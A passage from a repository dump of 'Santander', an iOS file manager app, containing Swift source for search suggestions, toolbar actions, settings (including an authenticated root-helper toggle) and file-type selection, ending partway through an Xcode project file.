name: String\n    \n    /// The image to be displayed in the search suggestion\n    let image: UIImage?\n    \n    /// The condition to which the given URL should abide to\n    var condition: Condition\n    \n    var searchToken: UISearchToken {\n        let token = UISearchToken(icon: image, text: name)\n        token.representedObject = condition\n        return token\n    }\n    \n    /// The search suggestion to display in the UI, based on the indexPath given\n    static func displaySearchSuggestions(for indexPath: IndexPath, typesToCheck: [UTType]? = nil) -> SearchSuggestion {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            return SearchSuggestion(name: \"Type\", image: UIImage(systemName: \"menucard\")) { url in\n                guard let typesToCheck = typesToCheck, let urlType = url.contentType else {\n                    return false\n                }\n                \n                let isSubtype = typesToCheck.contains { type in\n                    urlType.isSubtype(of: type)\n                }\n                \n                return typesToCheck.contains(urlType) || isSubtype\n            }\n            \n        case (1, 0):\n            return SearchSuggestion(name: \"File\", image: UIImage(systemName: \"doc\")) { url in\n                return !url.isDirectory\n            }\n        case (1, 1):\n            return SearchSuggestion(name: \"Directory\", image: UIImage(systemName: \"folder\")) { url in\n                return url.isDirectory\n            }\n        case (1, 2):\n            return SearchSuggestion(name: \"Symbolic Link\", image: UIImage(systemName: \"link\")) { url in\n                return url.url.isSymlink\n            }\n        case (2, 0):\n            return SearchSuggestion(name: \"Executable\", image: UIImage(systemName: \"terminal\")) { url in\n                return !url.isDirectory && FileManager.default.isExecutableFile(atPath: url.path)\n            }\n        case (2, 1):\n            return SearchSuggestion(name: \"Readable\", image: UIImage(systemName: \"book\")) { url in\n                return url.isReadable\n            }\n        case (2, 2):\n            return SearchSuggestion(name: \"Writable\", image: UIImage(systemName: \"pencil\")) { url in\n                return FileManager.default.isWritableFile(atPath: url.path)\n            }\n        default: fatalError()\n        }\n    }\n    \n    /// The index paths of the search suggestions\n    static let searchSuggestionSectionAndRows = [\n        IndexPath(row: 0, section: 0),\n        IndexPath(row: 0, section: 1), IndexPath(row: 1, section: 1), IndexPath(row: 2, section: 1),\n        IndexPath(row: 0, section: 2), IndexPath(row: 1, section: 2), IndexPath(row: 2, section: 2)\n    ]\n    \n    static func == (lhs: SearchSuggestion, rhs: SearchSuggestion) -> Bool {\n        return lhs.name == rhs.name && lhs.image == rhs.image\n    }\n    \n    func hash(into hasher: inout Hasher) {\n        hasher.combine(self.name)\n        hasher.combine(self.image)\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Path/ToolbarItems.swift",
    "content": "//\n//  ToolbarItems.swift\n//  Santander\n//\n//  Created by Serena on 04/08/2022.\n//\n\nimport UIKit\nimport CompressionWrapper\n\nextension PathListViewController: AudioPlayerToolbarDelegate {\n    \n    @objc\n    func setupOrUpdateToolbar() {\n        \n        let trashAction = UIAction {\n            let confirmationController = UIAlertController(title: \"Are you sure you want to delete \\(self.selectedItems.count) item(s)?\", message: nil, preferredStyle: .alert)\n            \n            let deleteAction = UIAlertAction(title: \"Delete\", style: .destructive) { _ in\n  \n                do {\n                    try FSOperation.perform(.removeItems(items: self.selectedItems.map(\\.url)), rootHelperConf: RootConf.shared)\n                } catch {\n                    self.errorAlert(error, title: \"Unable to remove items\")\n                }\n                \n            }\n            \n            confirmationController.addAction(.cancel())\n            confirmationController.addAction(deleteAction)\n            self.present(confirmationController, animated: true)\n        }\n        \n        let trash = UIBarButtonItem(systemItem: .trash, primaryAction: trashAction)\n        trash.tintColor = .systemRed\n        \n        let shareAction = UIAction {\n            self.presentActivityVC(forItems: self.selectedItems)\n        }\n        \n        let share = UIBarButtonItem(image: UIImage(systemName: \"square.and.arrow.up\"), primaryAction: shareAction)\n        let moreItems = UIBarButtonItem(image: UIImage(systemName: \"ellipsis.circle\"), menu: makeToolbarMoreItemsMenu())\n        let items = [trash, .flexibleSpace(), share, .flexibleSpace(), moreItems].map { item in\n            item.isEnabled = !selectedItems.isEmpty\n            return item\n        }\n        \n        self.toolbarItems = items\n        self.navigationController?.setToolbarHidden(false, animated: true)\n        self.navigationController?.toolbar.viewWithTag(100)?.removeFromSuperview() // if necessary\n    }\n    \n    @objc\n    func hideToolbarItems() {\n        self.toolbarItems = []\n        self.navigationController?.setToolbarHidden(true, animated: true)\n        \n        // since we're hiding the toolbar items, (copy, move, etc)\n        // lets see if we can bring the audio toolbar back if possible\n        setupAudioToolbarIfPossible()\n    }\n    \n    fileprivate func makeToolbarMoreItemsMenu() -> UIMenu {\n        let moveAction = UIAction(title: \"Move\", image: UIImage(systemName: \"arrow.right\")) { _ in\n            let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .move)\n            self.present(UINavigationController(rootViewController: vc), animated: true)\n        }\n        \n        let copyAction = UIAction(title: \"Copy\", image: UIImage(systemName: \"doc.on.doc\")) { _ in\n            let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .copy)\n            self.present(UINavigationController(rootViewController: vc), animated: true)\n        }\n        \n        let symlinkAction = UIAction(title: \"Alias\", image: UIImage(systemName: \"link\")) { _ in\n            let vc = PathOperationViewController(paths: self.selectedItems.toURL(), operationType: .symlink)\n            self.present(UINavigationController(rootViewController: vc), animated: true)\n        }\n        \n        var children: [UIMenuElement] = [symlinkAction, moveAction, copyAction]\n        if let currentPath = currentPath {\n            let compresMenu = makeCompressionMenu(paths: self.selectedItems) { format in\n                return currentPath.appendingPathComponent(\"Archive\").appendingPathExtension(format.fileExtension)\n            }\n            \n            children.append(compresMenu)\n        }\n        \n        return UIMenu(children: children)\n    }\n    \n    /// The button which says \"Select all\" or \"Deselect all\" when in edit mode\n    @objc\n    func setLeftBarSelectionButtonItem() {\n        if !isEditing {\n            navigationItem.leftBarButtonItem = nil\n            return\n        }\n        \n        let contents = self.contents // in order to not keep triggering the getter\n        let allItemsSelected = selectedItems.count == contents.count\n        let action = UIAction {\n            for index in contents.indices {\n                if !allItemsSelected {\n                    self.tableView.selectRow(at: IndexPath(row: index, section: 0), animated: true, scrollPosition: .none)\n                } else {\n                    self.tableView.deselectRow(at: IndexPath(row: index, section: 0), animated: true)\n                }\n            }\n            \n            self.selectedItems = allItemsSelected ? [] : contents // why do i have to do this? welp! it works\n            self.setLeftBarSelectionButtonItem()\n        }\n        \n        self.navigationItem.leftBarButtonItem = UIBarButtonItem(title: allItemsSelected ? \"Deselect All\" : \"Select All\", primaryAction: action)\n        setupOrUpdateToolbar()\n    }\n    \n    func setupAudioToolbarIfPossible() {\n        guard let audioPlayerController = audioPlayerController, let toolbar = navigationController?.toolbar else {\n            return\n        }\n        \n        navigationController?.setToolbarHidden(false, animated: true)\n        \n        let blurView = UIVisualEffectView(effect: UIBlurEffect(style: .regular))\n        blurView.frame = toolbar.bounds\n        \n        let audioToolbarView = AudioPlayerToolbarView(audioPlayerController, frame: blurView.bounds)\n        audioToolbarView.delegate = self\n        blurView.contentView.addSubview(audioToolbarView)\n        blurView.tag = 100\n        blurView.addGestureRecognizer(UITapGestureRecognizer(target: self, action: #selector(toolbarAudioPreviewWasTapped)))\n        toolbar.addSubview(blurView)\n    }\n    \n    @objc\n    func toolbarAudioPreviewWasTapped() {\n        guard let vc = audioPlayerController else {\n            return\n        }\n        \n        // TERRIBLE WORKAROUND: - if the user goes to another ViewController\n        // self.present simply won't work\n        // so we just present from the keyWindow lol\n        UIApplication.shared.sceneKeyWindow?.rootViewController?.present(UINavigationController(rootViewController: vc), animated: true)\n    }\n    \n    func audioToolbarDidClickCancelButton(_ toolbar: AudioPlayerToolbarView) {\n        // Why do we need to use rootNav?\n        // for the same reason we must use the terrible workaround in `toolbarAudioPreviewWasTapped`\n        let rootNav = UIApplication.shared.sceneKeyWindow?.rootViewController as? UINavigationController\n        rootNav?.toolbar?.viewWithTag(100)?.removeFromSuperview()\n        rootNav?.setToolbarHidden(true, animated: true)\n        \n        toolbar.audioPlayerController.player.stop()\n        toolbar.audioPlayerController.removeFromSystemMediaPlayer()\n        self.audioPlayerController = nil\n    }\n}\n"
  },
  {
    "path": "Santander/UI/SettingsTableViewController.swift",
    "content": "//\n//  SettingsTableViewController.swift\n//  Santander\n//\n//  Created by Serena on 24/06/2022\n//\n\n\nimport UIKit\nimport LocalAuthentication\nimport UniformTypeIdentifiers\n\nclass SettingsTableViewController: UITableViewController {\n    \n    lazy var colorPickerVC: UIColorPickerViewController = {\n        let vc = UIColorPickerViewController()\n        vc.selectedColor = UserPreferences.appTintColor.uiColor\n        vc.delegate = self\n        return vc\n    }()\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        self.title = \"Settings\"\n        self.navigationController?.navigationBar.prefersLargeTitles = false\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override init(style: UITableView.Style) {\n        super.init(style: style)\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 4\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 0: return 1\n        case 1: return 4\n        case 2: return 3\n        case 3: return UserPreferences.useLastOpenedPathWhenLaunching ? 1 : 2\n        default: fatalError(\"How'd we get here?\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n            var conf = cell.defaultContentConfiguration()\n            conf.text = \"Root Helper\"\n            conf.secondaryText = \"Disabled\" // haha no root helper for you\n            cell.contentConfiguration = conf\n            return cell\n        case (1, 0):\n            // TODO: - For anything that uses a switch, start using accessory views instead\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Large navigation titles\")\n        case (1, 1):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Always show search bar\")\n        case (1, 2):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Show information button\")\n        case (1, 3):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"List recently used items in application shortcuts\")\n        case (2, 0):\n            let cell = UITableViewCell()\n            var conf = cell.defaultContentConfiguration()\n            conf.text = \"Tint Color\"\n            cell.contentConfiguration = conf\n            \n            cell.accessoryView = cell.colorCircleAccessoryView(color: UserPreferences.appTintColor.uiColor)\n            return cell\n        case (2, 1):\n            return cellWithView(setupStyleButton(), text: \"Table View Style\")\n        case (2, 2):\n            return cellWithView(setupAppearanceButton(), text: \"Appearance\")\n        case (3, 0):\n            return cellWithView(setupLaunchPathButton(), text: \"Launch Path\")\n        case (3, 1):\n            let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n            var conf = cell.defaultContentConfiguration()\n            conf.text = \"Custom Launch Path\"\n            conf.secondaryText = UserPreferences.userPreferredLaunchPath ?? \"N/A\"\n            cell.contentConfiguration = conf\n            return cell\n        default: fatalError()\n        }\n    }\n    \n    fileprivate func setupAppearanceButton() -> UIButton {\n        let button = UIButton()\n        let currentStyle = UIUserInterfaceStyle(rawValue: UserPreferences.preferredInterfaceStyle) ?? .unspecified\n        button.setTitle(currentStyle.description, for: .normal)\n        button.setTitleColor(.systemGray, for: .normal)\n        \n        let chosenStyle = UserPreferences.preferredInterfaceStyle\n        let actions = UIUserInterfaceStyle.allCases.map { style in\n            return UIAction(title: style.description, state: chosenStyle == style.rawValue ? .on : .off) { _ in\n                self.view.window?.overrideUserInterfaceStyle = style\n                UserPreferences.preferredInterfaceStyle = style.rawValue\n                self.tableView.reloadRows(at: [IndexPath(row: 2, section: 2)], with: .fade)\n            }\n        }\n        \n        button.menu = UIMenu(children: actions)\n        button.showsMenuAsPrimaryAction = true\n        return button\n    }\n    \n    fileprivate func setupStyleButton() -> UIButton {\n        let button = UIButton()\n        let selectedStyle = UITableView.Style.userPreferred\n        \n        button.setTitle(selectedStyle.description, for: .normal)\n        button.setTitleColor(.systemGray, for: .normal)\n        let actions = UITableView.Style.allCases.map { style in\n            return UIAction(title: style.description, state: selectedStyle == style ? .on : .off) { _ in\n                UserPreferences.preferredTableViewStyle = style.rawValue\n                self.tableView.reloadRows(at: [IndexPath(row: 1, section: 2)], with: .none)\n            }\n        }\n        \n        button.menu = UIMenu(children: actions)\n        button.showsMenuAsPrimaryAction = true\n        return button\n    }\n    \n    fileprivate func setupLaunchPathButton() -> UIButton {\n        let button = UIButton()\n        \n        let customPathChosen = !UserPreferences.useLastOpenedPathWhenLaunching\n        button.setTitle(customPathChosen ? \"Custom Path\" : \"Last Opened Path\", for: .normal)\n        button.setTitleColor(.systemGray, for: .normal)\n        \n        let lastOpenedPathAction = UIAction(title: \"Last Opened Path\", state: UserPreferences.useLastOpenedPathWhenLaunching ? .on : .off) { _ in\n            UserPreferences.useLastOpenedPathWhenLaunching = true\n            self.tableView.reloadData()\n        }\n        \n        let otherPathAction = UIAction(title: \"Custom Path\", state: customPathChosen ? .on : .off) { _ in\n            UserPreferences.useLastOpenedPathWhenLaunching = false\n            if UserPreferences.userPreferredLaunchPath == nil {\n                self.changeCustomLaunchPathAlert()\n            } else {\n                self.tableView.reloadData()\n            }\n        }\n        \n        button.menu = UIMenu(children: [lastOpenedPathAction, otherPathAction])\n        button.showsMenuAsPrimaryAction = true\n        return button\n    }\n    \n    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n        switch section {\n        case 0: return \"Root\"\n        case 1: return \"Views\"\n        case 2: return \"Theming\"\n        case 3: return \"Other\"\n        default: return nil\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        switch (indexPath.section, indexPath.row) {\n        case (2, 0):\n            self.present(colorPickerVC, animated: true)\n        case (3, 1):\n            self.changeCustomLaunchPathAlert()\n        default:\n            break\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return (indexPath.section, indexPath.row) == (2, 0) || (indexPath.section, indexPath.row) == (3, 1)\n    }\n    \n    func defaultsKey(forIndexPath indexPath: IndexPath) -> String {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            return \"RootHelperEnabled\"\n        case (1, 0):\n            return \"UseLargeNavTitles\"\n        case (1, 1):\n            return \"AlwaysShowSearchBar\"\n        case (1, 2):\n            return \"ShowInfoButton\"\n        case (1, 3):\n            return \"DisplayRecentlyUsedPathsInAppShortcuts\"\n        default:\n            fatalError()\n        }\n        \n    }\n    \n    fileprivate func changeCustomLaunchPathAlert() {\n        let alert = UIAlertController(title: \"Path\", message: \"Enter the other path you want to be opened at launch\", preferredStyle: .alert)\n        alert.addTextField()\n        alert.addAction(.cancel())\n        \n        let applyAction = UIAlertAction(title: \"Add\", style: .default) { _ in\n            guard let text = alert.textFields?.first?.text, !text.isEmpty else {\n                self.errorAlert(\"Input text is invalid or empty\", title: \"Unable to set path as Launch Path\")\n                return\n            }\n            \n            let url = URL(fileURLWithPath: text)\n            guard url.isDirectory else {\n                self.errorAlert(\"Path must be a directory\", title: \"Unable to set path as Launch Path\")\n                return\n            }\n            \n            UserPreferences.useLastOpenedPathWhenLaunching = false\n            UserPreferences.userPreferredLaunchPath = url.path\n        }\n        alert.addAction(applyAction)\n        self.present(alert, animated: true)\n    }\n    \n    /// Whether or not the option at the specific index path is enabled\n    func switchOptionIsEnabled(forIndexPath indexPath: IndexPath) -> Bool {\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            return UserPreferences.rootHelperIsEnabled\n        case (1, 0):\n            return UserPreferences.useLargeNavigationTitles\n        case (1, 1):\n            return UserPreferences.alwaysShowSearchBar\n        case (1, 2):\n            return UserPreferences.showInfoButton\n        case (1, 3):\n            return UserPreferences.displayRecentlyBookmarked\n        default:\n            fatalError(\"Got unknown index path in \\(#function)! IndexPath: \\(indexPath)\")\n        }\n    }\n    \n    func settingsSwitch(forIndexPath indexPath: IndexPath) -> UISwitch {\n        // stupid ass swift doesn't allow you to name a variable \"switch\" without those ugly `` marks\n        let s = UISwitch()\n        s.isOn = switchOptionIsEnabled(forIndexPath: indexPath)\n        let action = UIAction { [self] _ in\n            // root helper\n            if (indexPath.section, indexPath.row) == (0, 0) {\n                rootHelperDidClickEnable()\n            } else {\n                UserDefaults.standard.set(s.isOn, forKey: defaultsKey(forIndexPath: indexPath))\n            }\n        }\n        \n        s.addAction(action, for: .valueChanged)\n        return s\n    }\n    \n    fileprivate func rootHelperDidClickEnable() {\n        let context = LAContext()\n        // no authentication for turning off or for when there is no authentication method\n        if UserPreferences.rootHelperIsEnabled || !context.canEvaluatePolicy(.deviceOwnerAuthentication, error: nil) {\n            UserPreferences.rootHelperIsEnabled.toggle()\n            return\n        }\n        \n        context.evaluatePolicy(.deviceOwnerAuthentication, localizedReason: \"To enable the Root Helper.\") { didSucceed, error in\n            guard didSucceed else {\n                DispatchQueue.main.async {\n                    self.errorAlert(error?.localizedDescription ?? \"Unknown Error\", title: \"Unable to authenticate\")\n                    self.tableView.reloadRows(at: [IndexPath(row: 0, section: 0)], with: .automatic)\n                }\n                return\n            }\n            \n            UserPreferences.rootHelperIsEnabled = true\n            DispatchQueue.main.async {\n                self.tableView.reloadRows(at: [IndexPath(row: 0, section: 0)], with: .automatic)\n            }\n        }\n    }\n}\n\nextension SettingsTableViewController: UIColorPickerViewControllerDelegate {\n    func colorPickerViewControllerDidFinish(_ viewController: UIColorPickerViewController) {\n        let color = viewController.selectedColor\n        \n        DispatchQueue.main.async {\n            UserPreferences.appTintColor = CodableColor(color)\n            self.view.window?.tintColor = color\n            self.tableView.reloadRows(at: [IndexPath(row: 0, section: 2)], with: .fade)\n        }\n        \n    }\n}\n"
  },
  {
    "path": "Santander/UI/TypeSelectionViewController.swift",
    "content": "//\n//  TypeSelectionViewController.swift\n//  Santander\n//\n//  Created by Serena on 01/07/2022\n//\n\t\n\nimport UIKit\nimport UniformTypeIdentifiers\n\n/// A View Controller to select one or multiple UniformTypeIdentifiers\nclass TypesSelectionCollectionViewController: UICollectionViewController {\n    typealias DismissHandler = (([UTType]) -> Void)\n    \n    typealias Item = DiffableDataSourceItem<Section, UTType>\n    typealias DataSource = UICollectionViewDiffableDataSource<Section, Item>\n    typealias CellRegistration = UICollectionView.CellRegistration<UICollectionViewListCell, Item>\n    \n    var dismissHandler: DismissHandler\n    var dataSource: DataSource!\n    var selectedTypes: Set<UTType> = [] {\n        didSet {\n            // Enable or disable done button based on whether or not the selection is empty\n            navigationItem.rightBarButtonItem?.isEnabled = !selectedTypes.isEmpty\n        }\n    }\n    \n    let allItems = TypesCollection.all()\n    \n    init(dismissHandler: @escaping DismissHandler) {\n        self.dismissHandler = dismissHandler\n        \n        let layout = UICollectionViewCompositionalLayout { _, env in\n            var layoutConf = UICollectionLayoutListConfiguration(appearance: .insetGrouped)\n            layoutConf.headerMode = .firstItemInSection\n            return NSCollectionLayoutSection.list(using: layoutConf, layoutEnvironment: env)\n        }\n        \n        super.init(collectionViewLayout: layout)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    override func viewDidLoad() {\n        title = \"Types\"\n        \n        let cancelAction = UIAction {\n            self.selectedTypes = []\n            self.dismiss(animated: true)\n        }\n        \n        let doneAction = UIAction {\n            self.dismiss(animated: true)\n        }\n        \n        let searchController = UISearchController()\n        searchController.searchBar.delegate = self\n        navigationItem.searchController = searchController\n        navigationItem.hidesSearchBarWhenScrolling = false\n        \n        navigationItem.leftBarButtonItem = UIBarButtonItem(systemItem: .cancel, primaryAction: cancelAction)\n        let rightBarButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction)\n        rightBarButton.isEnabled = false // not enabled by default bc no items are selected rn in setup\n        navigationItem.rightBarButtonItem = rightBarButton\n        makeDataSource()\n    }\n    \n    override func viewDidDisappear(_ animated: Bool) {\n        super.viewDidDisappear(animated)\n        dismissHandler(Array(selectedTypes))\n    }\n    \n    func makeDataSource() {\n        let cellRegistration = CellRegistration { [self] cell, indexPath, itemIdentifier in\n            var conf: UIListContentConfiguration\n            switch itemIdentifier {\n            case .section(let section):\n                conf = .sidebarHeader()\n                conf.text = section.description\n                cell.accessories = [.outlineDisclosure()]\n            case .item(let type):\n                conf = cell.defaultContentConfiguration()\n                conf.text = type.localizedDescription\n                cell.accessories = selectedTypes.contains(type) ? [.checkmark()] : []\n            }\n            \n            cell.contentConfiguration = conf\n        }\n        \n        self.dataSource = DataSource(collectionView: collectionView) { collectionView, indexPath, itemIdentifier in\n            return collectionView.dequeueConfiguredReusableCell(using: cellRegistration, for: indexPath, item: itemIdentifier)\n        }\n        \n        showItems(fromCollections: allItems)\n    }\n    \n    func showItems(fromCollections coll: [TypesCollection], animatingDifferences: Bool = false) {\n        var snapshot = NSDiffableDataSourceSnapshot<Section, Item>()\n        let justSections = coll.map(\\.section)\n        snapshot.appendSections(justSections)\n        dataSource.apply(snapshot, animatingDifferences: false)\n        \n        for collection in coll {\n            let collectionSection = Item.section(collection.section)\n            var section = NSDiffableDataSourceSectionSnapshot<Item>()\n            section.append([collectionSection])\n            \n            let types = Item.fromItems(collection.types)\n            section.append(types, to: collectionSection)\n            section.expand([collectionSection])\n            dataSource.apply(section, to: collection.section, animatingDifferences: animatingDifferences)\n        }\n    }\n    \n    override func collectionView(_ collectionView: UICollectionView, didSelectItemAt indexPath: IndexPath) {\n        // \"why force unwrap here!\" because silently failing is a worse option, and the user will be questioning\n        // why tapping didn't work\n        collectionView.deselectItem(at: indexPath, animated: false)\n        let item = dataSource.itemIdentifier(for: indexPath)!\n        switch item {\n        case .section(_): break // never supposed to get here\n        case .item(let type):\n            // if the item is already selected, remove this UTType from selectedTyps\n            // otherwise, insert it to our selected types\n            if selectedTypes.contains(type) {\n                selectedTypes.remove(type)\n            } else {\n                selectedTypes.insert(type)\n            }\n            \n            var snapshot = dataSource.snapshot()\n            snapshot.reloadItems([.item(type)])\n            dataSource.apply(snapshot, animatingDifferences: true)\n        }\n    }\n    \n    enum Section: CustomStringConvertible {\n        case generic\n        case audio\n        case programming\n        case archive\n        case image\n        case document\n        case executable\n        case systemTypes\n        \n        var description: String {\n            switch self {\n            case .generic:\n                return \"Generic\"\n            case .audio:\n                return \"Audio\"\n            case .programming:\n                return \"Programming\"\n            case .archive:\n                return \"Archive\"\n            case .image:\n                return \"Image\"\n            case .document:\n                return \"Document\"\n            case .executable:\n                return \"Executable\"\n            case .systemTypes:\n                return \"System\"\n            }\n        }\n    }\n    \n    struct TypesCollection {\n        let section: Section\n        let types: [UTType]\n        \n        static func all() -> [TypesCollection] {\n            return [\n                TypesCollection(section: .generic, types: UTType.generictypes()),\n                TypesCollection(section: .audio, types: UTType.audioTypes()),\n                TypesCollection(section: .programming, types: UTType.programmingTypes()),\n                TypesCollection(section: .archive, types: UTType.compressedFormatTypes()),\n                TypesCollection(section: .image, types: UTType.imageTypes()),\n                TypesCollection(section: .document, types: UTType.documentTypes()),\n                TypesCollection(section: .systemTypes, types: UTType.systemTypes())\n            ]\n        }\n    }\n}\n\nextension TypesSelectionCollectionViewController: UISearchBarDelegate {\n    func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {\n        guard !searchText.isEmpty else {\n            showItems(fromCollections: allItems)\n            return\n        }\n        \n        var newCollection: [TypesCollection] = []\n        for collection in allItems {\n            let filtered = collection.types.filter { type in\n                type.localizedDescription?.localizedCaseInsensitiveContains(searchText) ?? false ||\n                type.preferredFilenameExtension?.localizedCaseInsensitiveContains(searchText) ?? false\n            }\n            \n            if !filtered.isEmpty {\n                newCollection.append(TypesCollection(section: collection.section, types: filtered))\n            }\n        }\n        \n        showItems(fromCollections: newCollection, animatingDifferences: false)\n    }\n    \n    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n        showItems(fromCollections: allItems)\n    }\n}\n"
  },
  {
    "path": "Santander.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 55;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\t3712D319286F7F2E00BCD034 /* TypeSelectionViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3712D318286F7F2E00BCD034 /* TypeSelectionViewController.swift */; };\n\t\t3713292528B60163009E4AEA /* ImageMetadata.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292428B60163009E4AEA /* ImageMetadata.swift */; };\n\t\t3713292928B61F98009E4AEA /* ImageMetadataViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292828B61F98009E4AEA /* ImageMetadataViewController.swift */; };\n\t\t3713292B28B74D34009E4AEA /* ImageLocationEditorViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3713292A28B74D34009E4AEA /* ImageLocationEditorViewController.swift */; };\n\t\t37137F7828AED89F00E28069 /* SerializedArrayViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37137F7728AED89F00E28069 /* SerializedArrayViewController.swift */; };\n\t\t37177E4C289F12640025042E /* PathGroupOwnerViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37177E4B289F12640025042E /* PathGroupOwnerViewController.swift */; };\n\t\t37198B9A28721069000C8CDF /* TextEditorThemeSettingsViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9928721069000C8CDF /* TextEditorThemeSettingsViewController.swift */; };\n\t\t37198B9C28721275000C8CDF /* Themes.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9B28721275000C8CDF /* Themes.swift */; };\n\t\t37198B9F2872DDA6000C8CDF /* KeyboardToolsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37198B9E2872DDA6000C8CDF /* KeyboardToolsView.swift */; };\n\t\t374ECDC82875A3940066E9DD /* Storage.swift in Sources */ = {isa = PBXBuildFile; fileRef = 374ECDC72875A3940066E9DD /* Storage.swift */; };\n\t\t374ECDCA2875F5350066E9DD /* AudioPlayerViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 374ECDC92875F5350066E9DD /* AudioPlayerViewController.swift */; };\n\t\t375CF897289C394E00BB7C60 /* ToolbarItems.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF896289C394E00BB7C60 /* ToolbarItems.swift */; };\n\t\t375CF899289C4FF000BB7C60 /* PathMetadata.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF898289C4FF000BB7C60 /* PathMetadata.swift */; };\n\t\t375CF89D289CF3A600BB7C60 /* Permissions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF89C289CF3A600BB7C60 /* Permissions.swift */; };\n\t\t375CF89F289D969A00BB7C60 /* PathPermissionsViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 375CF89E289D969A00BB7C60 /* PathPermissionsViewController.swift */; };\n\t\t375D568D28A5B01600E25591 /* entitlements.plist in Resources */ = {isa = PBXBuildFile; fileRef = 375D568C28A5B01600E25591 /* entitlements.plist */; };\n\t\t376F749D28BC8A33000E5D77 /* AudioPlayerToolbarView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 376F749C28BC8A33000E5D77 /* AudioPlayerToolbarView.swift */; };\n\t\t3771D37B2862329D00E200B6 /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3771D37A2862329D00E200B6 /* Extensions.swift */; };\n\t\t3771D37F2862493E00E200B6 /* PathInformationTableViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3771D37E2862493E00E200B6 /* PathInformationTableViewController.swift */; };\n\t\t3787DB0528ABECF200ACA60B /* FileEditorType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0428ABECF200ACA60B /* FileEditorType.swift */; };\n\t\t3787DB0728ACB74D00ACA60B /* SerializedDocumentViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0628ACB74D00ACA60B /* SerializedDocumentViewController.swift */; };\n\t\t3787DB0A28ACE4EE00ACA60B /* SerializedItemViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0928ACE4EE00ACA60B /* SerializedItemViewController.swift */; };\n\t\t3787DB0C28ACE5E200ACA60B /* SerializedItemType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3787DB0B28ACE5E200ACA60B /* SerializedItemType.swift */; };\n\t\t3789B5E028622B7A00058688 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5DF28622B7A00058688 /* AppDelegate.swift */; };\n\t\t3789B5E228622B7A00058688 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5E128622B7A00058688 /* SceneDelegate.swift */; };\n\t\t3789B5E928622B7C00058688 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 3789B5E828622B7C00058688 /* Assets.xcassets */; };\n\t\t3789B5EC28622B7C00058688 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 3789B5EA28622B7C00058688 /* LaunchScreen.storyboard */; };\n\t\t3789B5F428622E0D00058688 /* PathListViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 3789B5F328622E0D00058688 /* PathListViewController.swift */; };\n\t\t37932F052863205F00BF48C8 /* UserPreferences.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37932F042863205F00BF48C8 /* UserPreferences.swift */; };\n\t\t37934DB728707F4500D1248A /* TextFileEditorViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37934DB628707F4500D1248A /* TextFileEditorViewController.swift */; };\n\t\t37963F132869C96C00C4B72A /* PathType.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37963F122869C96C00C4B72A /* PathType.swift */; };\n\t\t37963F17286A0F0B00C4B72A /* DirectoryMonitor.swift in Sources */ = {isa = PBXBuildFile; fileRef = 37963F16286A0F0B00C4B72A /* DirectoryMonitor.swift */; };\n\t\t37C6E0C52865CF7C00BDDA16 /* 